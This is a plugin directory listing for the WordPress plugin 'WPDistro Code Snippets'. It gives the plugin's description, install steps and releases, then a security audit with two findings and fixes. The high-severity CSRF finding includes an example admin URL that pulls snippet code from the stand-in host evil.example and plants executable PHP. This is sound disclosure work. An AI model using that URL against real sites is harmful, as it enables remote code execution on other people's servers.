WP Manifestindependent plugin directory
manifest / developer / wpd-code-snippets

WPDistro Code Snippets WP Registry grade D+. High-severity findings · 2 findingsWP RegistryHigh-severity findings · 2 findingsOpen the reportD+

Manage share and download code snippets with other people. Contribute to the community of WP developers and let them download the amazing hacks on your WordPress.

★ 3stars
346release downloads
≈20active sites
v1.2.0latest · 4 years ago

Install

Download wpd-code-snippets.zip From the v1.2.0 release on GitHub, Dec 7, 2021

Upload it under Plugins → Add New Plugin → Upload Plugin, then activate.

Install straight from GitHub with WP-CLI:

wp plugin install https://github.com/mozkomor05/wpd-code-snippets/releases/download/v1.2.0/wpd-code-snippets.zip
No built-in updater. New versions won't appear under Dashboard → Updates. Install new releases yourself, or let Git Updater track the repository.

Table of Contents

  1. Introduction
  2. Installation
  3. Issues
  4. Contributing
  5. Copyright and attribution

Introduction

Code Snippets is an easy, clean and simple way to run code snippets on your site. It removes the need to add custom snippets to your theme's functions.php file.

A snippet is a small chunk of PHP code that you can use to extend the functionality of a WordPress-powered website; essentially a mini-plugin with less load on your site. Most snippet-hosting sites tell you to add snippet code to your active theme's functions.php file, which can get rather long and messy after a while. Code Snippets changes that by providing a GUI interface for adding snippets and actually running them on your site just as if they were in your theme's functions.php file.

Code Snippets provides graphical interface, similar to the Plugins menu, for managing snippets. Snippets can can be activated and deactivated, just like plugins. The snippet editor includes fields for a name, a visual editor-enabled description, tags to allow you to categorize snippets, a full-featured code editor based on Ace and debug console. Snippets can be exported for transfer to another side, either in JSON for later importing by the Code Snippets plugin, or in PHP for creating your own plugin or theme.

Code Snippets editor

Remote database

We also provide you with the ability to share all of your code snippets with other users. You may not know how to make that little tweak to your favorite plugin. However, it is quite possible that the owner of one of the half a billion active WP installations knows this, and that is why there is our public database of your amazing snippets verified by us, from which you can transfer the code to your WP installation with a single click.

You can also browse the snippet database at https://wpdistro.com/snippets-for-wordpress/.

WPD Remote database

Macros

We have implemented a system of macros that allows even non-programmers to change variable values to adjust the output of snippets.

WPD Macros

Installation

  1. Download the latest stable release
  2. Make sure that the original Shea Bunge's Code Snippet plugin is not activated or installed.
  3. Go to Plugins > Add New and click on Upload button. Select the downloaded zip file and proceed with installation.
  4. Activate the plugin in Installed Plugins tab.

Issues

All issues must be properly labeled - i.e. enhacement for feature requests and bug for bug reports.

Bug reporting

Before reporting a bug have a look at project current issues in order to avoid duplicates. Keep titles short and descriptive and be clear and concise. Don't forget to include steps to reproduce the bug and details about your setup. If possible, provide screenshots.

Contributing

Please see CONTRIBUTING.md.

Any other questions, mail us at info@wpdistro.com. We’d love to meet you!

Copyright (c) 2021 WPDistro, Released under the MIT License.

Releases

4 releases. Each count is every asset in that release; expand a row for the breakdown.

Tag
Published
Assets
Downloads
v1.2.0 latest
Dec 7, 2021 4 years ago
wpd-code-snippets.zip
289
Nov 24, 2021 4 years ago
wpd-code-snippets.zip
24
Nov 10, 2021 4 years ago
wpd-code-snippets.zip
18
Nov 7, 2021 4 years ago
wpd-code-snippets.zip
15

Active-site estimate ≈20 comes from the median of recent superseded releases. Method.

D+ grade

Security

WPDistro Code Snippets 1.2.0 · audited by WP Registry

High-severity findings.

1 high 1 medium
Audited release
1.2.0
Findings
2
Worst severity
high
Content hash
04d89e18575a079dfe37ae72…

Findings

  • high CSRF installs attacker-controlled PHP from any URL on the Browse Snippets GET action

    csrf

    Code_Snippets_List_Table_Browse::process_requested_actions() handles action=install by passing $_GET['url'] to wpd_install_remote_snippet() with no nonce (unlike the manage table, which uses wp_nonce_url). wpd_request() → Code_Snippets_API::get_request_url() treats any wp_http_validate_url() string as the fetch target rather than prefixing WPD_URL, so the URL is not restricted to wpdistro.com. The JSON body's acf.code is saved via save_snippet() as a global-scope snippet (inactive by default). The handler runs from the browse page load hook after manage_options, so an unauthenticated attacker who gets an administrator to open /wp-admin/admin.php?page=browse-snippets&action=install&url=https://evil.example/snippet.json plants executable PHP in {$prefix}snippets. SameSite=Lax still sends cookies on this top-level GET. The AJAX twin (browse_code_snippet field=install) has a nonce but the same unrestricted URL sink.

    php/class-list-table-browse.php:35-50

    Recommendation

    Require a nonce (wp_nonce_url / check_admin_referer) on the install GET action, matching manage-snippet links. Allowlist fetch hosts to wpdistro.com (do not honor arbitrary wp_http_validate_url() endpoints). Keep imported snippets inactive and show the fetched source before save.

  • medium Snippet mutate/install AJAX handlers authenticate only with a nonce, not a capability

    missing_capability

    wp_ajax_update_code_snippet, wp_ajax_get_snippet_fields, and wp_ajax_browse_code_snippet call check_ajax_referer() and then perform privileged work with no current_user_can(get_cap()). update_code_snippet field=active calls activate_snippet() (which marks PHP for eval on the next plugins_loaded via execute_active_snippets); field=all does get_snippet()+set_fields()+save_snippet() so posted JSON can rewrite code and the active flag (id=0 inserts a new row). get_snippet_fields returns the full snippet including source. browse_code_snippet field=install calls wpd_install_remote_snippet() on attacker-chosen $_POST['url']. The nonces are only printed on manage.php / browse.php after the manage_options page gate, so a default Subscriber cannot mint them through this plugin's UI; the missing sibling capability check still leaves these RCE-class sinks protected only by a leaked or reused nonce.

    php/admin-menus/class-manage-menu.php:197-297

    Recommendation

    Add current_user_can( code_snippets()->get_cap() ) immediately after the nonce check in ajax_update_code_snippet, ajax_get_snippet_fields, and Browse_Menu::ajax_callback. Fail closed if the capability is missing even when the nonce verifies.

WP Registry hashes the installable build and reports on that exact bytes-for-bytes copy. Embargoed findings are withheld until they are disclosed, so a clean verdict means nothing public is outstanding. WP Manifest does not audit code itself.